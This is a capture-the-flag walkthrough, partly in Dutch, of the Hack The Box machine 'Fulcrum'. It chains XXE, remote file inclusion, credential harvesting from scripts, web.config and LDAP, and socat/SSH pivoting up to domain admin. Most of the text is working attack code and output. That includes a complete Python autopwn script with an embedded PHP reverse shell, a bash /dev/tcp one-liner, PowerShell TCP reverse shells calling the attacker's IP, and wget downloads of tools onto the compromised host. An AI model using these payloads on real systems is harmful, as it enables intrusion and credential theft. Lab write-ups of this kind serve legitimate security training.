HTB – Fulcrum

 

HTB – Fulcrum

Zoals altijd beginnen we met een nmap scan

root@kali:~/htb/fullcrum# nmap 10.10.10.62
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-10 06:13 EST
Nmap scan report for 10.10.10.62
Host is up (0.059s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
4/tcp open unknown
22/tcp open ssh
80/tcp open http
88/tcp open kerberos-sec
9999/tcp open abyss

Nmap done: 1 IP address (1 host up) scanned in 1.08 seconds

Een ingangspunt vinden (d.w.z. een shell krijgen)

Als we http://10.10.10.62:4/ bezoeken zien we een link naar http://10.10.10.62:4/index.php?page=home:

<h1>Under Maintance</h1><p>Please <a href="http://10.10.10.62:4/index.php?page=home">try again</a> later.</p>

Hmmm … Nou, het ruikt naar een ‘file-inclusion’ Maar we kunnen het voorlopig niet laten werken. Laten we meer onderzoeken. Op poort 56423 komen we iets heel interessants tegen, d.w.z. een JSON-reactie:

{"Heartbeat":{"Ping":"Pong"}}

https://blog.netspi.com/playing-content-type-xxe-json-endpoints/. Het lijkt erop dat XXE op JSON-eindpunten vrij gebruikelijk zijn, zelfs op productiesystemen.

Laten we een webserver aan onze kant laten draaien:

$ python -m SimpleHTTPServer SRVPORT
Serving HTTP on 0.0.0.0 port SRVPORT ...

Nu zenden we een ‘POST request’

POST / HTTP/1.1
Host: 10.10.10.62:56423
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Length: 198

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE hack [<!ENTITY xxe SYSTEM "http://SRVHOST:SRVPORT/shell.php" >]>
<foo>&xxe;</foo>

We krijgen dit antwoord terug op onze webserver:

10.10.10.62 - - [09/Jun/2018 09:07:23] "GET /shell.php HTTP/1.0" 200 -

Maar helaas zal dit NIET onze shell.php uitvoeren. Als we maar op de een of andere manier ons php-bestand konden opnemen … Wacht! Wat? Omvatten? Inclusie? Herinner je je page = home op poort 4? Laten we het proberen:

root@kali:~/htb/fullcrum# curl http://10.10.10.62:56423/ -X POST --data-binary '<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE hack [<!ENTITY xxe SYSTEM "http://127.0.0.1:4/index.php?page=http://10.10.16.70/shell" >]><foo>&xxe;</foo>'
root@kali:~/htb# rlwrap nc -lvp 60001
listening on [any] 60001 ...
10.10.10.62: inverse host lookup failed: Unknown host
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.62] 48490
Linux Fulcrum 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 11:24:21 up  2:00,  0 users,  load average: 0.40, 0.22, 0.19
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1154): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Fulcrum:/$

Hier is de index.php op poort 4 voor referentie:
www-data@Fulcrum:~$ cat /var/www/uploads/index.php
<?php
if($_SERVER['REMOTE_ADDR'] != "127.0.0.1")
{
    echo "<h1>Under Maintance</h1><p>Please <a href=\"http://" . $_SERVER['SERVER_ADDR'] . ":4/index.php?page=home\">try again</a> later.</p>";
}else{
    $inc = $_REQUEST["page"];
    include($inc.".php");
}
?>

Hier is de index.php op poort 56423 voor referentie:

www-data@Fulcrum:~$ cat /var/www/api/index.php
<?php
        header('Content-Type:application/json;charset=utf-8');
        header('Server: Fulcrum-API Beta');
        libxml_disable_entity_loader (false);
        $xmlfile = file_get_contents('php://input');
        $dom = new DOMDocument();
        $dom->loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD);
        $input = simplexml_import_dom($dom);
        $output = $input->Ping;
        //check if ok
        if($output == "Ping")
        {
                $data = array('Heartbeat' => array('Ping' => "Ping"));
        }else{
                $data = array('Heartbeat' => array('Ping' => "Pong"));
        }
        echo json_encode($data);
?>

Getting shell on the webserver as WebUser

There is an interesting powershell script in /var/www/uploads/Fulcrum_Upload_to_Corp.ps1:

www-data@Fulcrum:~$ cat /var/www/uploads/Fulcrum_Upload_to_Corp.ps1
# TODO: Forward the PowerShell remoting port to the external interface
# Password is now encrypted \o/

$1 = 'WebUser'
$2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ','
$3 = '76492d1116743f0423413b16050a5345MgB8AEQAVABpAHoAWgBvAFUALwBXAHEAcABKAFoAQQBNAGEARgArAGYAVgBGAGcAPQA9AHwAOQAwADgANwAxADIAZgA1ADgANwBiADIAYQBjADgAZQAzAGYAOQBkADgANQAzADcAMQA3AGYAOQBhADMAZQAxAGQAYwA2AGIANQA3ADUAYQA1ADUAMwA2ADgAMgBmADUAZgA3AGQAMwA4AGQAOAA2ADIAMgAzAGIAYgAxADMANAA=' 
$4 = $3 | ConvertTo-SecureString -key $2
$5 = New-Object System.Management.Automation.PSCredential ($1, $4)

Invoke-Command -Computer upload.fulcrum.local -Credential $5 -File Data.ps1

Read this: https://blogs.technet.microsoft.com/heyscriptingguy/2013/03/26/decrypt-powershell-secure-string-password/ If we run the above script code we can retrieve the password like this:

PS> $5.GetNetworkCredential().Password
M4ng£m£ntPa55

No need for Windoze. You can run the code online here: https://tio.run/#powershell

Now, we know those credentials WebUser:M4ng£m£ntPa55. If we look the file /etc/nginx/sites-enabled/default, we discover an interesting IP address: 192.168.122.228. This IP has port 5986 open (WS-Management a.k.a. WinRM a.k.a PowerShell Remoting). So, let’s redirect the port 5986 of 192.168.122.228 to the port 60217 of 10.10.10.62. Then we can access it from outside. I prefer to use socat for this job (you can find it here: https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat).

www-data@Fulcrum:/$ mkdir /dev/shm/.a
www-data@Fulcrum:/$ cd /dev/shm/.a
www-data@Fulcrum:/dev/shm/.a$ wget http://SRVHOST:SRVPORT/socat
www-data@Fulcrum:/dev/shm/.a$ chmod +x socat
www-data@Fulcrum:/dev/shm/.a$ ./socat tcp-listen:60217,reuseaddr,fork tcp:192.168.122.228:5986 &

Now, we can use either Windows Powershell to connect or Ruby’s winrm module. To connect from a windows box via my linux system I do a second port redirection like this:

On my linux system I run:

$ socat tcp-listen:5986,reuseaddr,fork tcp:10.10.10.62:60217

On my windows powershell I run:

PS> Enter-PSSession -ComputerName 10.0.0.1 -Credential $5 -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck)

where 10.0.0.1 is the gateway for the Windows box i.e. my linux system.

Personally, I prefer to stay away from Windoze and I use ruby’s winrm modules. You can see some examples here: https://github.com/Alamot/code-snippets/tree/master/winrm). Your connection settings should be like this:

conn = WinRM::Connection.new( 
  endpoint: 'https://10.10.10.62:60217/wsman',
  transport: :ssl,
  user: 'WebUser',
  password: 'M4ng£m£ntPa55',
  :no_ssl_peer_verification => true
)
$ ruby winrm_shell_with_upload.rb
PS webserver\webuser@WEBSERVER Documents>

Getting LDAP credentials

The file C:\Inetpub\wwwroot\web.config contains some credentials:

PS webserver\webuser@WEBSERVER Documents> [System.Net.Dns]::GetHostByName(($env:computerName))

HostName  Aliases AddressList   
--------  ------- -----------   
WebServer {}      {192.168.55.2}

PS webserver\webuser@WEBSERVER Documents> cd C:\Inetpub\wwwroot
PS webserver\webuser@WEBSERVER wwwroot> cat web.config
...
 connectionUsername="FULCRUM\LDAP" connectionPassword="PasswordForSearching123!"
...

Searching LDAP

Let’s see what computers we know using an LDAP query:

PS C:\Users\Webuser\Desktop> (New-Object adsisearcher((New-Object adsi("LDAP://dc.fulcrum.local","fulcrum\ldap","PasswordForSearching123!")),"(objectCategory=Computer)")).FindAll() | %{ $_.Properties.name }

Path                                                                    Properties
----                                                                    ----------
LDAP://dc.fulcrum.local/CN=DC,OU=Domain Controllers,DC=fulcrum,DC=local {ridsetreferences, logoncount, codepage, objectcategory...}      
LDAP://dc.fulcrum.local/CN=FILE,CN=Computers,DC=fulcrum,DC=local        {logoncount, codepage, objectcategory, iscriticalsystemobject...}

We see two CNs: DC and FILE. Now let’s query about info:

PS C:\Users\Webuser\Desktop> (New-Object adsisearcher((New-Object adsi("LDAP://dc.fulcrum.local","fulcrum\ldap","PasswordForSearching123!")),"(info=*)")).FindAll() | %{ $_.Properties }

Name                           Value
----                           -----
logoncount                     {18}
codepage                       {0}
objectcategory                 {CN=Person,CN=Schema,CN=Configuration,DC=fulcrum,DC=local}
description                    {Has logon rights to the file server}
usnchanged                     {143447}
instancetype                   {4}
name                           {Bobby Tables}
badpasswordtime                {131522885566857829}
pwdlastset                     {131514417841217344}
objectclass                    {top, person, organizationalPerson, user}
badpwdcount                    {0}
samaccounttype                 {805306368}
lastlogontimestamp             {131556801131693417}
usncreated                     {12878}
objectguid                     {88 53 29 79 114 147 100 75 187 41 125 239 148 113 13 111}
info                           {Password set to ++FileServerLogon12345++}
whencreated                    {10/2/2017 6:06:57 PM}
adspath                        {LDAP://dc.fulcrum.local/CN=Bobby Tables,OU=People,DC=fulcrum,DC=local}
useraccountcontrol             {66048}
cn                             {Bobby Tables}
countrycode                    {0}
primarygroupid                 {513}
whenchanged                    {11/20/2017 7:35:13 PM}
dscorepropagationdata          {10/2/2017 6:09:28 PM, 10/2/2017 6:06:57 PM, 1/1/1601 12:00:00 AM}
lastlogon                      {131556801131693417}
distinguishedname              {CN=Bobby Tables,OU=People,DC=fulcrum,DC=local}
samaccountname                 {BTables}
objectsid                      {1 5 0 0 0 0 0 5 21 0 0 0 70 111 187 188 76 255 138 170 168 71 215 161 80 4 0 0}
lastlogoff                     {0}
displayname                    {Bobby Tables}
accountexpires                 {9223372036854775807}
userprincipalname              {BTables@fulcrum.local}

Bingo! We have found some credentials (fulcrum.local\btables:++FileServerLogon12345++) for the file server:

PS webserver\webuser@WEBSERVER wwwroot> Invoke-Command -ComputerName file.fulcrum.local -Credential fulcrum.local\btables -Port 5985 -ScriptBlock { type C:\Users\Btables\Desktop\user.txt }

fce52521c8f872b514f037fada78daf4

Getting shell on fIle server as btables

We can use port 53 to get a reverse shell on file server (I saw that port 53 was open via pfSense, ):

https://github.com/puckiestyle/ruby/blob/master/htb-fullcrum-shellto-btables.rb

require 'winrm'

conn = WinRM::Connection.new( 
  endpoint: 'https://127.0.0.1:5986/wsman',
  transport: :ssl,
  user: 'WebUser',
  password: 'M4ng£m£ntPa55',
  :no_ssl_peer_verification => true
)

conn.shell(:powershell) do |shell|
  output = shell.run("$pass = convertto-securestring -AsPlainText -Force -String '++FileServerLogon12345++'; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist 'fulcrum.local\\btables',$pass; Invoke-Command -ComputerName file.fulcrum.local -Credential $cred -Port 5985 -ScriptBlock {$client = New-Object System.Net.Sockets.TCPClient('10.10.16.70',53); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close(); }") do |stdout, stderr|
    STDOUT.print stdout
    STDERR.print stderr
  end
  puts "The script exited with exit code #{output.exitcode}"
end

Don’t forget the listener:

root@kali:~/htb/fullcrum# rlwrap nc -nlvp 53
listening on [any] 53 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.62] 21580
hostname
FILE
PS C:\Users\BTables\Documents> cd ..
PS C:\Users\BTables> cd desktop
PS C:\Users\BTables\desktop> type user.txt
fce52521c8f872b514f037fada78daf4
PS C:\Users\BTables\desktop>

Privilege Escalation

Now we have a shell on the file server. We can use our credentials to get access on the netlogon share on the DC:

PS fulcrum\btables@FILE Documents> net use \\dc.fulcrum.local\netlogon /user:fulcrum\btables ++FileServerLogon12345++
The command completed successfully.
PS fulcrum\btables@FILE Documents> cd \\dc.fulcrum.local\netlogon
PS fulcrum\btables@FILE netlogon>

Here we find several interesting scripts like this one for example:

PS fulcrum\btables@FILE netlogon>  cat a1a41e90-147b-44c9-97d7-c9abb5ec0e2a.ps1

# Map network drive v1.0
$User = '923a'
$Pass = '@fulcrum_bf392748ef4e_$' | ConvertTo-SecureString -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ($User, $Pass)
New-PSDrive -Name '\\file.fulcrum.local\global\' -PSProvider FileSystem -Root '\\file.fulcrum.local\global\' -Persist -Credential $Cred

Let’s write a very simple powershell script to test automatically all the user/pass pairs:

function test($u,$p) {
    (new-object directoryservices.directoryentry "",$u,$p).psbase.name -ne $null;
}

$files = @(Get-ChildItem \\dc.fulcrum.local\netlogon\*.ps1);
foreach ($file in $files) {
    $result = Select-String -Path $file -pattern "'(.*)'";
    $user = $result.Matches[0].Groups[1].Value;
    $pass = $result.Matches[1].Groups[1].Value;
    if (test "fulcrum.local\$user" "$pass")) {
        echo "fulcrum.local\$user $pass";
    }
}

We convert it to one-liner and run it:

PS fulcrum\btables@FILE netlogon> function test($u,$p) { (new-object directoryservices.directoryentry "",$u,$p).psbase.name -ne $null; }; $files = @(gci \\dc.fulcrum.local\netlogon\*.ps1); foreach ($file in $files) { $result = Select-String -Path $file -pattern "'(.*)'"; $user = $result.Matches[0].Groups[1].Value; $pass = $result.Matches[1].Groups[1].Value; if (test "fulcrum.local\$user" "$pass") { echo "fulcrum.local\$user $pass"; }; }

fulcrum.local\923a @fulcrum_bf392748ef4e_$

Now we have the domain admin credentials. Let’s get the root flag:

PS fulcrum\btables@FILE netlogon> $pass = convertto-securestring -AsPlainText -Force -String '@fulcrum_bf392748ef4e_$'; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist 'fulcrum.local\923a',$pass; Invoke-Command -ComputerName dc.fulcrum.local -Credential $cred -Port 5985 -ScriptBlock { cat C:\Users\Administrator\Desktop\root.txt }

8ddbe372e57c019bb6c4cdb5b35a0cab

Autopwn script

Here is my autopwn script for Fulcrum. It make use of a ruby helper as the python winrm module doesn’t work correctly. Don’t forget to set LHOST appropriately. It also needs superuser rights (to bind the privileged port 53) and socat. You can find the relevant files here: https://github.com/Alamot/code-snippets/tree/master/hacking/HTB/Fulcrum

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# Author: Alamot (Antonios Tsolis)
import re
import sys
import time
from pwn import *
import signal, thread
import requests, urllib3
import SimpleHTTPServer, SocketServer
from subprocess import Popen
signal.signal(signal.SIGINT, signal.SIG_DFL)

DEBUG = False
LHOST="10.10.15.45"
LPORT=60001
LPORT2=53
RHOST="10.10.10.62"
RPORT=56423
SRVHOST=LHOST
SRVPORT=60000
WINRM_RDPORT=60217
TIMEOUT=30

if DEBUG:
    context.log_level = 'debug'

php_rev_shell = '<?php set_time_limit (0); $VERSION = "1.0"; $ip = "'+str(LHOST)+'"; $port = '+str(LPORT)+'; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = "uname -a; w; id; /bin/bash -i"; $daemon = 0; $debug = 0; if (function_exists("pcntl_fork")) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Cannot fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("Error: Cannot setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise.  This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Cannot spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) {  if (!$daemon) { print "$string\\n"; } } ?>'

# This works too:
# php_rev_shell="<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"+str(LHOST)+"/"+str(LPORT)+" 0>&1'\");"

ruby_helper = """require 'winrm'

conn = WinRM::Connection.new( 
  endpoint: 'https://"""+str(RHOST)+":"+str(WINRM_RDPORT)+"""/wsman',
  transport: :ssl,
  user: 'WebUser',
  password: 'M4ng£m£ntPa55',
  :no_ssl_peer_verification => true
)

conn.shell(:powershell) do |shell|
  output = shell.run("$pass = convertto-securestring -AsPlainText -Force -String '@fulcrum_bf392748ef4e_$'; $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist 'fulcrum.local\\\\923a',$pass; Invoke-Command -ComputerName file.fulcrum.local -Credential $cred -Port 5985 -ScriptBlock {$client = New-Object System.Net.Sockets.TCPClient('"""+str(LHOST)+"',"+str(LPORT2)+"""); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); try { $sendback = (iex $data | Out-String ); } catch { $sendback = ($_.Exception|out-string) }; $sendback2 = $sendback + 'PS ' + $(whoami) + '@' + $env:computername + ' ' + $((gi $pwd).Name) + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close(); }") do |stdout, stderr|
    STDOUT.print stdout
    STDERR.print stderr
  end
  puts "The script exited with exit code #{output.exitcode}"
end
"""


def start_webserver():
    try:
        Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
        httpd = SocketServer.TCPServer(("", SRVPORT), Handler)
        log.info("Serving payload at port " + str(SRVPORT))
        httpd.serve_forever()
        log.info("Web server thread exited successfully.")
    except (KeyboardInterrupt, SystemExit):
        httpd.shutdown()

def send_payload():
    try:
        client = requests.session()
        client.keep_alive = True
        # Send payload
        log.info("Sending php shell payload...")
        xml="<?xml version='1.0' encoding='UTF-8' ?><!DOCTYPE hack [<!ENTITY xxe SYSTEM 'http://127.0.0.1:4/index.php?page=http://"+str(SRVHOST)+":"+str(SRVPORT)+"/shell' >]><foo>&xxe;</foo>"
        response = client.post("http://"+str(RHOST)+":"+str(RPORT)+"/", data=xml)
    except requests.exceptions.RequestException as e:
        log.failure(str(e))
    finally:
        if client:
            client.close()
        #log.info("Web payload thread exited successfully.")


with open("shell.php", "wt") as f:
    f.write(php_rev_shell)
with open("ruby_helper.rb", "wb") as f:
    f.write(ruby_helper)
try:
    th1 = threading.Thread(target=start_webserver)
    th2 = threading.Thread(target=send_payload)
    th1.daemon = True
    th2.daemon = True
    th1.start()
    th2.start()
    phpshell = listen(LPORT, timeout=TIMEOUT).wait_for_connection()
    if phpshell.sock is None:
        log.failure("Connection timeout.")
        sys.exit()
    phpshell.sendline("cd /dev/shm")
    log.info("Uploading socat for port redirection")
    phpshell.sendline("wget http://"+str(SRVHOST)+":"+str(SRVPORT)+"/socat")
    phpshell.sendline("chmod +x socat")
    phpshell.sendline("./socat tcp-listen:"+str(WINRM_RDPORT)+",reuseaddr,fork tcp:192.168.122.228:5986 &")
    #Uncomment if you want an interactive shell on the webserver instead of the file server
    #phpshell.interactive()
    #sys.exit()
    time.sleep(5)
    log.info("Executing ruby_helper.rb")
    Popen(["ruby", "ruby_helper.rb"])
    pssh = listen(LPORT2, timeout=TIMEOUT).wait_for_connection()
    pssh.interactive()
    sys.exit()
except (KeyboardInterrupt, SystemExit):
    th1.join()
    th2.join()
except Exception as e:
    log.failure(str(e))

Let’s run it:

root@kali:~/htb/fullcrum# python htb-autopwn_fullcrum.py 
[*] Serving payload at port 60000
[+] Trying to bind to 0.0.0.0 on port 60001: Done
[*] Sending php shell payload...
[+] Waiting for connections on 0.0.0.0:60001: Got connection from 10.10.10.62 on port 48450
10.10.10.62 - - [10/Dec/2019 06:17:42] "GET /shell.php HTTP/1.0" 200 -
[*] Uploading socat for port redirection
10.10.10.62 - - [10/Dec/2019 06:17:43] "GET /socat HTTP/1.1" 200 -
[*] Executing ruby_helper.rb
[+] Trying to bind to 0.0.0.0 on port 53: Done
[+] Waiting for connections on 0.0.0.0:53: Got connection from 10.10.10.62 on port 57042
[*] Switching to interactive mode
$ hostname
FILE
PS fulcrum\923a@FILE Documents> $ ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:
   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::94:cd4d:be97:5c13%4
   IPv4 Address. . . . . . . . . . . : 10.25.25.3
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.25.25.1

PS fulcrum\923a@FILE Documents> $ whoami
fulcrum\923a

PS fulcrum\923a@FILE Documents> $ systeminfo

Host Name:                 FILE
OS Name:                   Microsoft Windows Server 2016 Standard
OS Version:                10.0.14393 N/A Build 14393
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00376-30821-72087-AA188
Original Install Date:     02/10/2017, 11:56:42
System Boot Time:          10/12/2019, 09:28:07
System Manufacturer:       QEMU
System Model:              Standard PC (i440FX + PIIX, 1996)
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.

gebruikte referentie : https://alamot.github.io/fulcrum_writeup/

Het 192.168.122.x Network ontdekken


Als we een ifconfig uitvoeren, zien we dat deze machine veel interfaces heeft, wat zeer gebruikelijk is voor een Hack the Box-machine. Een netwerkadres dat onze status heeft is 192.168.122.1 wat erg vreemd is. Waarschijnlijk is deze machine dual-homed.

ifconfig output

www-data@Fulcrum:~$ ifconfig
corp      Link encap:Ethernet  HWaddr 52:54:00:87:ee:c0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:412 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:32601 (32.6 KB)  TX bytes:0 (0.0 B)

ens32     Link encap:Ethernet  HWaddr 00:50:56:b9:44:f1
          inet addr:10.10.10.62  Bcast:10.10.10.255  Mask:255.255.255.0
          inet6 addr: dead:beef::250:56ff:feb9:44f1/64 Scope:Global
          inet6 addr: fe80::250:56ff:feb9:44f1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:72492 errors:0 dropped:82 overruns:0 frame:0
          TX packets:35844 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:11175820 (11.1 MB)  TX bytes:5982295 (5.9 MB)

virbr0    Link encap:Ethernet  HWaddr 52:54:00:9c:e7:10
          inet addr:192.168.122.1  Bcast:192.168.122.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:53053 errors:0 dropped:0 overruns:0 frame:0
          TX packets:50375 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3317157 (3.3 MB)  TX bytes:2463028 (2.4 MB)

...

Om onze scope een beetje te verkleinen, kunnen we de arp-tabel bekijken en zien met welke machines deze machine onlangs heeft gesproken.

www-data@Fulcrum:~$ arp -a

? (10.10.10.2) at 00:50:56:aa:9c:8d [ether] on ens32
? (192.168.122.228) at 52:54:00:74:9d:17 [ether] on virbr0

We zien dat er een live host is op 192.168.122.228. Onze volgende stap was om te ontdekken welke poorten open waren op deze machine. Er zijn veel manieren om een machine te scannen wanneer u zich op het interne netwerk van iemand bevindt, maar ik geef er de voorkeur aan om een statisch gecompileerde versie van nmap (en bijbehorende modules) te laten vallen als ik de mogelijkheid heb om dit te doen. Het bespaart tijd, en ik wil me thuis voelen wanneer ik op iemands doos zit.

www-data@Fulcrum:/tmp/.scan$ wget http://10.10.15.74:6666/nmap.tar.gz
--2018-06-22 03:30:11--  http://10.10.15.74:6666/nmap.tar.gz
Connecting to 10.10.15.74:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4875842 (4.6M) [application/gzip]
Saving to: 'nmap.tar.gz'

nmap.tar.gz         100%[===================>]   4.65M  1.04MB/s    in 6.8s

2018-06-22 03:30:19 (705 KB/s) - 'nmap.tar.gz' saved [4875842/4875842]

www-data@Fulcrum:/tmp/.scan$ clear
TERM environment variable not set.
www-data@Fulcrum:/tmp/.scan$ ls
nmap.tar.gz
www-data@Fulcrum:/tmp/.scan$ tar -xvf nmap.tar.gz
...[snip]...

Het downloaden van onze statisch gecompileerde nmap

www-data@Fulcrum:/tmp/.scan$ wget http://10.10.15.74:6666/nmapstatic
--2018-06-22 03:36:28--  http://10.10.15.74:6666/nmapstatic
Connecting to 10.10.15.74:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5944464 (5.7M) [application/octet-stream]
Saving to: 'nmapstatic'

nmapstatic          100%[===================>]   5.67M   576KB/s    in 11s

2018-06-22 03:36:40 (506 KB/s) - 'nmapstatic' saved [5944464/5944464]

Om te scannen met onze statisch gecompileerde nmap, gebruiken we de optie –datadir, waarmee we kunnen porten, net alsof we het eenvoudig vanuit onze eigen box doen.

www-data@Fulcrum:/tmp/.puck$ ./nmap --datadir nmap/ -p- 192.168.122.228
./nmap --datadir nmap/ -p- 192.168.122.228

Starting Nmap 7.11 ( https://nmap.org ) at 2019-12-12 07:54 GMT
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 192.168.122.228
Host is up (0.00080s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
80/tcp open http
5986/tcp open unknown
8080/tcp open http-alt

Nmap done: 1 IP address (1 host up) scanned in 1229.31 seconds

Zoals we dachten, lijkt het een Windows-host met  Powershell remoteing aangezet

Pivot setup van Fulcrum Host naar 192.168.122.x netwerk

Om PSRemoteing van mijn hostmachine correct te gebruiken, moeten we een pivot instellen. De algemene kern van wat we moeten bereiken, kan met dit diagram worden uitgedrukt.

"Pivot Setup"

Ik ga socat voor het merendeel hiervan gebruiken omdat het een tool is die ik heel goed ken en die vrij eenvoudig te gebruiken is. Hoewel u dezelfde resultaten kunt bereiken, met Metasploit, ssh of een andere gelijkgestemde tool.

We gaan luisteren naar verbindingen op poort 55555 -> en die verbinding doorsturen naar 192.168.122.228 op poort 5986 (PSRemoting-poort).

op ‘fulcrum’ (10.10.10.62)

www-data@Fulcrum:/tmp/ ./socat tcp-listen:55555,reuseaddr,fork tcp:192.168.122.228:5986

op mijn kalibox (192.168.30.130)

Wat dit doet, is dat het gaat luisteren naar verbindingen op poort 5986 -> en die verbinding doorgeeft aan 10.10.10.62 op poort 55555.

root@dastinia:~# socat tcp-listen:5986,reuseaddr,fork tcp:10.10.10.62:55555

Nu kunnen we vanaf mijn (lokale) Windows 10-host verbinding maken met mijn Kali-host (192.168.30.130) en deze verbinding via onze pivots doorgeven aan het netwerk dat we proberen te bereiken. We hebben de extra SkipCACheckSkipCACheck -SkipCNCheck omdat u twee foutmeldingen krijgt waarin staat dat The SSL certificate is signed by an unknown certificate authority. The SSL certificate contains a common name (CN) that does not match the hostname.

PS C:\> Enter-PSSession -Computername 192.168.30.130 -Credential "Webuser" -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck) [192.168.30.130]: PS C:\Users\WebUser\Documents> $env:UserName WebUser [192.168.30.130]: PS C:\Users\WebUser\Documents> $env:UserDomain WEBSERVER

ipv met windows lukt het ook met ruby vanuit kali

root@kali:~/pwk# rlwrap nc -lvp 60001
listening on [any] 60001 ...
10.10.10.62: inverse host lookup failed: Unknown host
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.62] 55160
Linux Fulcrum 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
10:33:55 up 7 min, 0 users, load average: 5.33, 3.83, 1.84
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1180): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Fulcrum:/$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@Fulcrum:/$ ssh -N -R 5986:192.168.122.228:5986 puck@10.10.16.70
ssh -N -R 5986:192.168.122.228:5986 puck@10.10.16.70
Could not create directory '/var/www/.ssh'.
The authenticity of host '10.10.16.70 (10.10.16.70)' can't be established.
ECDSA key fingerprint is SHA256:ZN/3s+DZUUKb67rWWgHDGmmRL/3ASPnUuJvTePMcpFQ.
Are you sure you want to continue connecting (yes/no)? yes
yes
